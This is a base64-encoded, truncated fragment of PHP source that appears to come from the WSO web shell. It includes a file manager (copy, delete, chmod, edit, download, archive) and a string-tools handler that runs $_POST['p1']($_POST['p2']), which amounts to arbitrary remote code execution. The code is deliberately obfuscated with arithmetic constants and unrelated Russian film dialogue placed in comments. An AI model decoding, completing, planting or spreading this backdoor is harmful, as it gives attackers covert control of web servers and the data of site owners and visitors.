CAgcmV0dXJuICgoJGFbJ3NpemUnXSA8ICRiWydzaXplJ10pID8gLXJvdW5kKDAgKyAwLjI1ICsgMC4yNSArIDAuMjUgKyAwLjI1KSA6IHJvdW5kKDAgKyAwLjI1ICsgMC4yNSArIDAuMjUgKyAwLjI1KSkgKiAoJEdMT0JBTFNbJ3NvcnQnXVtyb3VuZCgwICsgMC41ICsgMC41KV0gPyByb3VuZCgwICsgMC4yICsgMC4yICsgMC4yICsgMC4yICsgMC4yKSA6IC1yb3VuZCgwICsgMC41ICsgMC41KSk7CiAgICB9CgogICAgdXNvcnQoJGZpbGVzLCAid3NvQ21wIik7CiAgICB1c29ydCgkZGlycywgIndzb0NtcCIpOwogICAgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CiAgICAkbCA9IHJvdW5kKDApOwogICAgZm9yZWFjaCAoJGZpbGVzIC8qIDxQZXRlcj46INCh0LTRgNC40YHQvdC4INC+0YLRgdGO0LTQsCwg0LAg0YLQviDRjyDQvNC10L3RgtC+0LIg0LLRi9C30L7QstGDLCDQt9Cw0Y/QstGDINC90LAg0YLQtdCx0Y8g0L3QsNC60LDRgtCw0Y4hICovCiAgICAgICAgICAgICBhcyAvKiA8UGV0ZXI+OiDQn9C+0YjRkdC7INC+0YLRgdGO0LTQsCwg0LPQvtCy0L3RjtC6ISDQkiDRgNC+0YIg0LzQvdC1INC90L7Qs9C4ISAqLwogICAgICAgICAgICAgJGYpIHsKICAgICAgICBlY2hvIC8qIDxPcGVyYXRvcj46INCS0L7RgiDRjdGC0L4g0LLQv9C10YfQsNGC0LvRj9GO0YnQtSDQsdGL0LvQvi4uLiAqLwogICAgICAgICAgICAnPHRyJyAuICgkbCA/ICcgY2xhc3M9bDEnIDogJycpIC4gJz48dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT0iZltdIiB2YWx1ZT0iJyAuIHVybGVuY29kZSgkZlsnbmFtZSddKSAuICciIGNsYXNzPWNoa2J4PjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPSInIC4gKCgkZlsndHlwZSddID09ICdmaWxlJykgPyAnZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJyAuIHVybGVuY29kZSgkZlsnbmFtZSddKSAuICdcJywgXCd2aWV3XCcpIj4nIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSA6ICdnKFwnRmlsZXNNYW5cJyxcJycgLiAkZlsncGF0aCddIC4gJ1wnKTsiICcgLiAoZW1wdHkoJGZbJ2xpbmsnXSkgPyAnJyA6ICJ0aXRsZT0neyRmWydsaW5rJ119JyIpIC4gJz48Yj5bICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyBdPC9iPicpIC4gJzwvYT48L3RkPjx0ZD4nIC4gKCgkZlsndHlwZSddID09ICdmaWxlJykgPyB3c29WaWV3U2l6ZSgkZlsnc2l6ZSddKSA6ICRmWyd0eXBlJ10pIC4gJzwvdGQ+PHRkPicgLiAkZlsnbW9kaWZ5J10gLiAnPC90ZD48dGQ+JyAuICRmWydvd25lciddIC4gJy8nIC4gJGZbJ2dyb3VwJ10gLiAnPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGZbJ25hbWUnXSkgLiAnXCcsXCdjaG1vZFwnKSI+JyAuICRmWydwZXJtcyddIC4gJzwvdGQ+PHRkPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycgLiB1cmxlbmNvZGUoJGZbJ25hbWUnXSkgLiAnXCcsIFwncmVuYW1lXCcpIj5SPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRmWyduYW1lJ10pIC4gJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicgLiAoKCRmWyd0eXBlJ10gPT0gJ2ZpbGUnKSA/ICcgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJyAuIHVybGVuY29kZSgkZlsnbmFtZSddKSAuICdcJywgXCdlZGl0XCcpIj5FPC9hPiA8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnIC4gdXJsZW5jb2RlKCRmWyduYW1lJ10pIC4gJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPicgOiAnJykgLiAnPC90ZD48L3RyPic7CiAgICAgICAgJGwgPSAkbCA/IHJvdW5kKDApIDogcm91bmQoMCArIDAuNSArIDAuNSk7CiAgICB9CiAgICBlY2hvIC8qIDxEYXZpZCBCbGFpbmU+OiDQn9C+0LTQvtC20LTQuC4uLiAqLwogICAgICAgICI8dHI+PHRkIGNvbHNwYW49Nz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIgLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pID8gJF9QT1NUWydjaGFyc2V0J10gOiAnJykgLiAiJz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9J3AxJz48b3B0aW9uIHZhbHVlPSdjb3B5Jz5Db3B5PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbW92ZSc+TW92ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2RlbGV0ZSc+RGVsZXRlPC9vcHRpb24+IjsKICAgIGlmIChjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgZWNobyAvKiA8UGV0ZXI+OiDQntC9INC+0LHQvtGB0YHQsNC70YHRjyDQvtGA0LDQvdC2INGB0L7QtNC+0LkhICovCiAgICAiPG9wdGlvbiB2YWx1ZT0nemlwJz5Db21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz5VbmNvbXByZXNzICh6aXApPC9vcHRpb24+IjsKICAgIGVjaG8gLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCEhISAqLwogICAgIjxvcHRpb24gdmFsdWU9J3Rhcic+Q29tcHJlc3MgKHRhci5neik8L29wdGlvbj4iOwogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSkgZWNobyAvKiA8PT09PT1lbmQgb2YgcGFydD09PT09PiAqLwogICAgIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsKICAgIGVjaG8gLyogPERhdmlkIEJsYWluZT46INCQ0LPQsCwg0LLQvtGCINGN0YLQuCDRgNC10LHRj9GC0LAuLi4gKi8KICAgICI8L3NlbGVjdD4mbmJzcDsiOwogICAgaWYgKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lFWydhY3QnXSA9PSAvKiA8RGF2aWQgQmxhaW5lPjog0K3QuSwg0L/QsNGA0L3QuCwg0Y8g0LTQtdC70LDRjiDQvtGB0L7QsdGD0Y4sINGD0LvQuNGH0L3Rg9GOINC80LDQs9C40Y4gKi8KICAgICAgICAgICAgICAgICAgICAnemlwJykgfHwgKCRfQ09PS0lFWydhY3QnXSA9PSAvKiA8QXZvbj46INCd0LXQvdC10L3QtdC90LXQvdC1ISEgKi8KICAgICAgICAgICAgICAgICAgICAndGFyJykpCiAgICApIGVjaG8gLyogPERhdmlkIEJsYWluZT46INCl0L7RgtC40YLQtSDQvdC10LzQvdC+0LPQviDQstC+0LvRiNC10LHRgdGC0LLQsD8gKi8KICAgICAgICAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J3dzb18iIC4gZGF0ZSgiWW1kX0hpcyIpIC4gIi4iIC4gKCRfQ09PS0lFWydhY3QnXSA9PSAvKiA8UGV0ZXI+OiDQl9C90LDQtdGI0YwsINC90LUg0YXQvtGC0LjQvCEgKi8KICAgICAgICAnemlwJyA/ICd6aXAnIDogJ3Rhci5neicpIC4gIic+Jm5ic3A7IjsKICAgIGVjaG8gLyogPEF2b24+OiDQndC10YIsINC90LXRgiEg0KLQtdCx0LUg0L/QviDQvtGA0LTQtdGA0YMg0LfQsNC/0YDQtdGJ0LXQvdC+INC/0L7QtNC60LDRgtGL0LLQsNGC0Ywg0YHQstC+0Lgg0LTQtdC80L7QvdGB0LrQuNC1INGP0LnRhtCwINC6INC90LDQvCEhICovCiAgICAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKICAgIHdzb0Zvb3RlcigpOwp9CgpmdW5jdGlvbiAvKiA8QXZvbj46INCvINC30LLQvtC90Y4g0LzQtdC90YLQsNC8ISAqLwphY3Rpb25TdHJpbmdUb29scygpCnsKICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdoZXgyYmluJykpIHsKICAgICAgICBmdW5jdGlvbiAvKiA8UGV0ZXI+OiDQn9GA0L7QtNC+0LvQttCw0Lkg0L/Ri9GA0LjRgtGM0YHRjyEg0J3Rgy4g0J3RgyDQv9GL0YDRjNGB0Y8sINC/0YvRgNGM0YHRjyDQvdCwINC80LXQvdGPLCDQv9GL0YDRjNGB0Y8sINC/0YvRgNGM0YHRjy4g0KLRiyDQtiDQt9C90LDQtdGI0YwsINGH0YLQviDRjdGC0L4g0L3QtdC30LDQutC+0L3QvdC+ISAqLwogICAgICAgIGhleDJiaW4oJHApCiAgICAgICAgewogICAgICAgICAgICByZXR1cm4gLyogPEF2b24+OiAuLi7RgdC/0LDRgdC40LHQviwg0YHQv9Cw0YHQuNCx0L4uLi4g0J7QvdC4INGD0LbQtSDQsdC70LjQt9C60L4uINCp0LDRgSDQvNC10L3RgtGLINC/0L7QtNGK0LXQtNGD0YIsINC/0L7QvdGP0Ls/ICovCiAgICAgICAgICAgICAgICBkZWNiaW4oaGV4ZGVjKCRwKSk7CiAgICAgICAgfQogICAgfQogICAgaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2JpbmhleCcpKSB7CiAgICAgICAgZnVuY3Rpb24gLyogPERhdmlkIEJsYWluZT46INCS0L7RgiDRgtGLLiDQp9GC0L4g0YMg0YLQtdCx0Y8g0LfQsCDQvNCw0YjQuNC90LA/ICovCiAgICAgICAgYmluaGV4KCRwKQogICAgICAgIHsKICAgICAgICAgICAgcmV0dXJuIC8qIDxQZXRlcj46INCjINC80LXQvdGPPyDQpdC+0L3QtNCwINGH0ZHRgNC90LDRjyEgKi8KICAgICAgICAgICAgICAgIGRlY2hleChiaW5kZWMoJHApKTsKICAgICAgICB9CiAgICB9CiAgICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHsKICAgICAgICBmdW5jdGlvbiAvKiA8RGF2aWQgQmxhaW5lPjog0JjQvdGC0LXRgNC10YHQvdC+LCDRhdC+0L3QtNCwLi4uINCi0LDQutCw0Y8g0LrQvtC80L/QsNC60YLQvdCw0Y8sINC00LA/ICovCiAgICAgICAgaGV4MmFzY2lpKCRwKQogICAgICAgIHsKICAgICAgICAgICAgJHIgPSAnJzsKICAgICAgICAgICAgZm9yICgkaSA9IHJvdW5kKDApOyAkaSA8IHN0ckxlbigkcCk7ICRpICs9IHJvdW5kKDAgKyAyKSkgewogICAgICAgICAgICAgICAgJHIgLj0gY2hyKGhleGRlYygkcFskaV0gLiAkcFskaSArIHJvdW5kKDAgKyAwLjMzMzMzMzMzMzMzMzMzICsgMC4zMzMzMzMzMzMzMzMzMyArIDAuMzMzMzMzMzMzMzMzMzMpXSkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAvKiA8UGV0ZXI+OiDQmtC+0LzQv9Cw0LrRgtC90LDRjz8g0JTQsCDRgdCw0Lwg0L/QvtGB0LzQvtGC0YDQuCEuLiDQpNCw0Log0LzQvtC5INC80L7Qt9CzISEg0JPQtNC1INC80LDRiNC40L3QsD8gKi8KICAgICAgICAgICAgICAgICRyOwogICAgICAgIH0KICAgIH0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkgewogICAgICAgIGZ1bmN0aW9uIC8qIDxBdm9uPjog0Jgg0LPQtNC1INC+0L3QsD8gKi8KICAgICAgICBhc2NpaTJoZXgoJHApCiAgICAgICAgewogICAgICAgICAgICAkciA9ICcnOwogICAgICAgICAgICBmb3IgKCRpID0gcm91bmQoMCk7ICRpIDwgc3RybGVuKCRwKTsgKyskaSkgJHIgLj0gLyogPFBldGVyPjog0KLRiyDRg9C60YDQsNC7INC80L7RjiDQvNCw0YjQuNC90YMsINGH0ZEg0YLRiyDRgdGC0YvRgNC40Lst0YLQviDQvNC+0Y4g0LzQsNGI0LjQvdGDPz8gKi8KICAgICAgICAgICAgICAgIHNwcmludGYoJyUwMlgnLCBvcmQoJHBbJGldKSk7CiAgICAgICAgICAgIHJldHVybiAvKiA8RGF2aWQgQmxhaW5lPjog0KLRiyDRgdCw0Lwg0LLQvdC40LzQsNGC0LXQu9GM0L0g0L/QvtGB0LzQvtGC0YDQuC4gKi8KICAgICAgICAgICAgICAgIHN0cnRvdXBwZXIoJHIpOwogICAgICAgIH0KICAgIH0KICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdmdWxsX3VybGVuY29kZScpKSB7CiAgICAgICAgZnVuY3Rpb24gLyogPEF2b24+OiDQktC+0YIg0Y3RgtCwINC10LHQsNC70LDQudC60LAg0YfRgtC+INC70Lgg0YLQstC+0Y8g0LzQsNGI0LjQvdCwPyAqLwogICAgICAgIGZ1bGxfdXJsZW5jb2RlKCRwKQogICAgICAgIHsKICAgICAgICAgICAgJHIgPSAnJzsKICAgICAgICAgICAgZm9yICgkaSA9IHJvdW5kKDApOyAkaSA8IHN0cmxlbigkcCk7ICsrJGkpICRyIC49IC8qIDxQZXRlcj46INCSINGA0L7RgiDQvNC90LUg0L3QvtCz0LgsINGC0Ysg0YfRkSwg0YHQutGD0LrQvtC20LjQuyDQvNC+0Y4g0LzQsNGI0LjQvdGDPyDQlNCwINGDINC80LXQvdGPINGC0LDQvCDQstGB0Y8g0L7QtNC10LbQtNCwINC+0YHRgtCw0LvQsNGB0YwhINCi0LDQvCDQtNC20LjQvdGB0Ysg0LzQvtC4INC70LXQttCw0LvQuCEgKi8KICAgICAgICAgICAgICAgICclJyAuIGRlY2hleChvcmQoJHBbJGldKSk7CiAgICAgICAgICAgIHJldHVybiAvKiA8QXZvbj46INCd0YMg0YLRi9C30LTQtdGGLiDQrdGC0L4g0LYg0LzQvtGPINC70Y7QsdC40LzQsNGPINC60LXQv9C60LAhINCR0LDRgNCx0Lgt0YHQsNC50Lcg0LrQsNC60L7QuS3RgtC+LCDQutGD0LTQsCDQvNC90LUg0LXRkSDRgtC10L/QtdGA0Ywg0L7QtNC10LLQsNGC0YwsINC90LAg0L/QuNGB0Y7QvT8gKi8KICAgICAgICAgICAgICAgIHN0cnRvdXBwZXIoJHIpOwogICAgICAgIH0KICAgIH0KICAgICRzdHJpbmdUb29scyA9IGFycmF5KCdCYXNlNjQgZW5jb2RlJyA9PiAvKiA8QXZvbj46INCi0LDQuiwg0LTQsNC5LdC60LAg0LzQvdC1INGC0LXQv9C10YDRjCDQtdCx0LDQu9Cw0LnQutGDLCDQtNCw0Lkg0YHRjtC00LAuLi4g0JLRgdGRLCDRgtGLINCyINGC0Y7RgNGM0LzRgyDRgtC10L/QtdGA0Ywg0L/QvtC50LTRkdGI0YwsINCU0Y3QstC40LQg0JHQu9C10LnQvSEg0K3RgtC+INCy0LXRidC00L7Quiwg0Y3RgtC+INCy0LXRidC00L7QuiEgKi8KICAgICdiYXNlNjRfZW5jb2RlJywgJ0Jhc2U2NCBkZWNvZGUnID0+IC8qIDxQZXRlcj46INCB0LzQsNC90LDRgNC+0YIsINGC0Ysg0LLQvNC10YHRgtC1INGBINC00LbQuNC90YHQsNC80Lgg0YHQtdC80YzQtNC10YHRj9GCINC00L7Qu9C70LDRgNC+0LIg0YHQutGD0LrQvtC20LjQuywg0LLRgdC1INC60L7QvNC/0LDQutGCLdC00LjRgdC60Lgg0L/QvtC60YPQutC+0LbQuNC7LCDQlNC20L7QvSDQnNC10LjRgCwg0JrRjdCy0Lgg0JDQvdC00LXRgNCy0YPQtCwg0JTQuNGB0Log0Jog0LzQuNC70LvQuNC+0L3QtdGALi4uICovCiAgICAnYmFzZTY0X2RlY29kZScsICdVcmwgZW5jb2RlJyA9PiAvKiA8UGV0ZXI+OiDQotGLINGB0LrRg9C60L7QttC40Lsg0Jog0LzQuNC70LvQuNC+0L3QtdGALCDRgtGLINCz0L7QstC90Y7QuiEg0IHQvNCw0L3QsNGA0L7RgiEgKi8KICAgICd1cmxlbmNvZGUnLCAnVXJsIGRlY29kZScgPT4gLyogPEF2b24+OiDQntC9INC80LDRiNC40L3RgyDRgNCw0YHQutGD0LrQvtC20LjQuywg0L/QvtC60LAg0Y8g0LXRkSDQsiDRgNGD0LrQsNGFINC00LXRgNC20LDQuyEg0K8g0YfRg9GC0Ywg0L3QtSDRg9C80LXRgCEgKi8KICAgICd1cmxkZWNvZGUnLCAnRnVsbCB1cmxlbmNvZGUnID0+IC8qIDxQZXRlcj46INCS0YHRgtCw0L3RjCDRgSDQt9C10LzQu9C4LCDQv9GA0L7RgdGC0YPQtNC40YjRjNGB0Y8hICovCiAgICAnZnVsbF91cmxlbmNvZGUnLCAnbWQ1IGhhc2gnID0+IC8qIDxBdm9uPjog0J7Qv9CwISDQmtC10L/QutCwINC+0L/Rj9GC0Ywg0L3QsNC70LDQt9C40YIuLi4gKi8KICAgICdtZDUnLCAnc2hhMSBoYXNoJyA9PiAvKiA8UGV0ZXI+OiDQndGDINGB0L/QsNGB0LjQsdC+0L3RjNC60LgsINC10LzRgy3RgtC+INC60LXQv9C60YMg0YPQstC10LvQuNGH0LjQuywg0LAg0LzQvtGPINC+0LTQtdC20LTQsCDQuCDQtNC40YHQutC4INC+0YHRgtCw0LvQuNGB0Ywg0LHQsNGA0LHQuC3RgdCw0LnQtyEg0K3RgtC+INC90LXRh9C10YHRgtC90L4hINCvINGC0LXQsdGPINC90LXQvdCw0LLQuNC20YMhINCd0LUg0YHQvNC+0YLRgNC4INC90LAg0LzQtdC90Y8sINC90LUg0L/Ri9GA0YzRgdGPINC90LAg0LzQtdC90Y8g0YHQstC+0LjQvNC4INCz0LvQsNC30LDQvNC4LCDQvdC1INC/0YvRgNGM0YHRjywg0L3QtSDQvNC+0LPRgyEgKi8KICAgICdzaGExJywgJ2NyeXB0JyA9PiAvKiA8RGF2aWQgQmxhaW5lPjog0J3RgyDQu9Cw0LTQvdC+LCDQu9Cw0LTQvdC+LCDQu9Cw0LTQvdC+LiDQktC+0YIg0YfRgtC+INC80Ysg0YHQtNC10LvQsNC10Lw6INC90LDQutGA0L7QuSDRgdC10LHRjyDQstC+0YIg0Y3RgtC40Lwg0L/QvtC60YDRi9Cy0LDQu9C+0LwsINGPINC00L7RgdGH0LjRgtCw0Y4g0LTQviDRgtGA0ZHRhSwg0Lgg0YLRiyDQvNC10L3RjyDQvdC1INGD0LLQuNC00LjRiNGMINC90LjQutC+0LPQtNCwLiAqLwogICAgJ2NyeXB0JywgJ0NSQzMyJyA9PiAvKiA8UGV0ZXI+OiDQmCDRgtGLINCx0L7Qu9GM0YjQtSDQvdC1INCx0YPQtNC10YjRjCDQvdCwINC80LXQvdGPINC/0YvRgNC40YLRjNGB0Y8/INCl0L7RgNC+0YjQviwg0LzQvdC1INC90YDQsNCy0LjRgtGB0Y8g0Y3RgtC+0YIg0YTQvtC60YPRgSEg0K8g0LXQs9C+INGB0LTQtdC70LDRjiEgKi8KICAgICdjcmMzMicsICdBU0NJSSB0byBIRVgnID0+IC8qIDxBdm9uPjog0K3QudCy0LjQvSEg0JHRg9C00Ywg0L7RgdGC0L7RgNC+0LbQvdC10LkhINCn0ZEt0YLQviDQvNC90LUg0LrQsNC6LdGC0L4g0YHRi9C60LDRgtC90L4hICovCiAgICAnYXNjaWkyaGV4JywgJ0hFWCB0byBBU0NJSScgPT4gLyogPFBldGVyPjog0J3RgyDQuCDRh9C+INGPINC30LTQtdGB0Ywg0LfQsCDRiNGC0L7RgNC60L7QuSwg0LrQsNC6INC00L7Qu9Cx0L7RgtGA0Y/RgSDQutCw0LrQvtC5LdGC0L4/ISAqLwogICAgJ2hleDJhc2NpaScsICdIRVggdG8gREVDJyA9PiAvKiA8QXZvbj46INCi0Ysg0YfQviDRgSDQvdC40Lwg0YHQtNC10LvQsNC7PyDQotGLINC10LPQviDRgdC60YPQutC+0LbQuNC7Pz8g0KLRiyDQt9Cw0YfQtdC8INC10LzRgyDRgdC00LXQu9Cw0Lsg0LHQsNGA0LHQuC3RgdCw0LnQtz8hINCi0Ysg0LXQs9C+INGB0LrRg9C60L7QttC40LshINCi0Ysg0LXQs9C+INGB0LrRg9C60L7QttC40LshISDQodC70YPRiNCw0LksINGA0LDRgdC60YPQutC+0LbRjCDQvtCx0YDQsNGC0L3QviDQvNC+0LXQs9C+INC00YDRg9Cz0LAsINGA0LDRgdC60YPQutC+0LbRjCEgKi8KICAgICdoZXhkZWMnLCAnSEVYIHRvIEJJTicgPT4gLyogPERhdmlkIEJsYWluZT46INCd0YMg0YXQvtGA0L7RiNC+LiDQodC80L7RgtGA0LguICovCiAgICAnaGV4MmJpbicsICdERUMgdG8gSEVYJyA9PiAvKiA8UGV0ZXI+OiAuLi7QsNCw0JDQkNCQ0JDQkC4uLiAqLwogICAgJ2RlY2hleCcsICdERUMgdG8gQklOJyA9PiAvKiA8QXZvbj46INCn0ZEg0LfQsCDRhdC10YDQvdGPPyDQryDRh9GRLdGC0L4g0YHQu9GL0YjRgy4uLiDQrdC50LLQvtC9PyDQotGLINC10LPQviDQuNC30LPQvtCy0L3Rj9C60LDQuyEg0JjQt9Cz0L7QstC90Y/QutCw0Lsg0LfQsNGH0LXQvD8gKi8KICAgICdkZWNiaW4nLCAnQklOIHRvIEhFWCcgPT4gLyogPFBldGVyPjog0JIg0YDQvtGCINC80L3QtSDQvdC+0LPQuCwg0Y8g0LLQviDQstGA0LXQvNC10L3QsNGFINC00LjQvdC+0LfQsNCy0YDQvtCyINCx0YvQuyEgKi8KICAgICdiaW5oZXgnLCAnQklOIHRvIERFQycgPT4gLyogPEF2b24+OiDQp9GRPyDQlNCwINGC0LXQsdGPINC00LXRgdGP0YLRjCDRgdC10LrRg9C90LQg0L3QtSDQsdGL0LvQviEgKi8KICAgICdiaW5kZWMnLCAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+IC8qIDxQZXRlcj46INCt0YLQviDQt9C00LXRgdGMINC00LXRgdGP0YLRjCDRgdC10LrRg9C90LQsINCwINGC0LDQvCwg0LLQviDQstGA0LXQvNC10L3QsNGFINC00LjQvdC+0LfQsNCy0YDQvtCyLCDRjyDQvdC10LTQtdC70Y4g0L/QsNGA0LjQu9GB0Y8hICovCiAgICAnc3RydG9sb3dlcicsICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gLyogPFBldGVyPjog0J/Rj9GC0Ywg0LTQvdC10Lkg0Lgg0YfQtdGC0YvRgNC1INC90L7Rh9C4ISDQr9Cz0L7QtNGLINC20YDQsNC7LCDQutC+0YDQtdGI0LrQuCDQutCw0LrQuNC1LdGC0L4uLi4g0JHQvtGA0L7Qu9GB0Y8g0YEg0LTQuNC90L7Qt9Cw0LLRgNCw0LzQuCDQt9CwINC20LjQt9C90YwhICovCiAgICAnc3RydG91cHBlcicsICdIdG1sc3BlY2lhbGNoYXJzJyA9PiAvKiA8QXZvbj46INCd0YMg0YLRiyDRhdC+0YLRjCDQvdCwINC90LjRhSDQv9C+0LrQsNGC0LDQu9GB0Y8/ICovCiAgICAnaHRtbHNwZWNpYWxjaGFycycsICdTdHJpbmcgbGVuZ3RoJyA9PiAvKiA8UGV0ZXI+OiDQotGLINGH0L4sINGR0LrQvdGD0LvRgdGPINGH0YLQviDQu9C4LCDQutCw0YLQsNGC0YzRgdGPLCDRjdGC0L4g0LYg0L3QtSDQutCw0YDRg9GB0LXQu9GM0LrQuCwg0LAg0L/QsNGA0Log0K7RgNGB0LrQvtCz0L4g0L/QtdGA0LjQvtC00LAg0L3QsNGB0YLQvtGP0YnQuNC5ISAqLwogICAgJ3N0cmxlbicsKTsKICAgIGlmIChpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICBfX1dTT19fc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCB0cnVlKTsKICAgICAgICBvYl9zdGFydCgpOwogICAgICAgIGlmIChpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpIGVjaG8gLyogPFBldGVyPjog0KLRiyDRh9GRINC90LAg0LzQtdC90Y8g0L/Ri9GA0LjRiNGM0YHRjywg0LTQtdC80L7QvT8/ISAqLwogICAgICAgICRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICR0ZW1wID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScnO2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzdHJPdXRwdXQnKS5pbm5lckhUTUw9JyIgLiBhZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwgIlxuXHJcdFxcJ1wwIikgLiAiJztcbiI7CiAgICAgICAgZWNobyAvKiA8QXZvbj46INCS0L7RgiDQtNC+0LvQsdC+0YLRgNGP0YEsINC00LDQttC1INC90LUg0L/QvtC60LDRgtCw0LvRgdGPISAqLwogICAgICAgIHN0cmxlbigkdGVtcCksICJcbiIsICR0ZW1wOwogICAgICAgIGV4aXQ7CiAgICB9CiAgICBpZiAoZW1wdHkoJF9QT1NUWydhamF4J10pICYmICFlbXB0eSgkX1BPU1RbJ3AxJ10pKSBfX1dTT19fc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pIC4gJ2FqYXgnLCByb3VuZCgwKSk7CiAgICB3c29IZWFkZXIoKTsKICAgIGVjaG8gLyogPFBldGVyPjog0KHQtdCx0LUg0L3QsCDQutC10L/QutGDINC/0L7RgdC80L7RgtGA0LguICovCiAgICAnPGgxPlN0cmluZyBjb252ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CiAgICBlY2hvIC8qIDxBdm9uPjog0KfQviDRgtCw0Lw/ICovCiAgICAiPGZvcm0gbmFtZT0ndG9vbHNGb3JtJyBvblN1Ym1pdD0naWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuc2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fSByZXR1cm4gZmFsc2U7Jz48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7CiAgICBmb3JlYWNoICgkc3RyaW5nVG9vbHMgLyogPEF2b24+OiDQntC/0Y/RgtGMINC60LXQv9C60LAuLi4g0KXQstCw0YLQuNGCINC80LXQvdGP0YLRjCDRgNCw0LfQvNC10YAg0LzQvtC10Lkg0LrQtdC/0LrQuCwg0YLRiywg0LTQtdC80L7QvSEgKi8KICAgICAgICAgICAgIGFzIC8qIDxQZXRlcj46INCeLCDQvtGC0LvQuNGH0L3Qviwg0LzQtdC90YLRiyDQv9GA0LjQtdGF0LDQu9C4ISDQo9GA0LAsINC80LXQvdGC0YssINC/0YDQuNCy0LXRgiEg0J3QsNC60L7QvdC10YYt0YLQviDQvNC10L3RgtGLISAqLwogICAgICAgICAgICAgJGsgLyogPFBvbGljZW1hbj46IDx0byBvcGVyYXRvcj4g0JLRi9GA0YPQsdC4INC60LDQvNC10YDRgy4gKi8KICAgID0+IC8qIDxQZXRlcj46INCU0LDQstCw0LnRgtC1INCw0YDQuNGB0YLRg9C10Lwg0LXQs9C+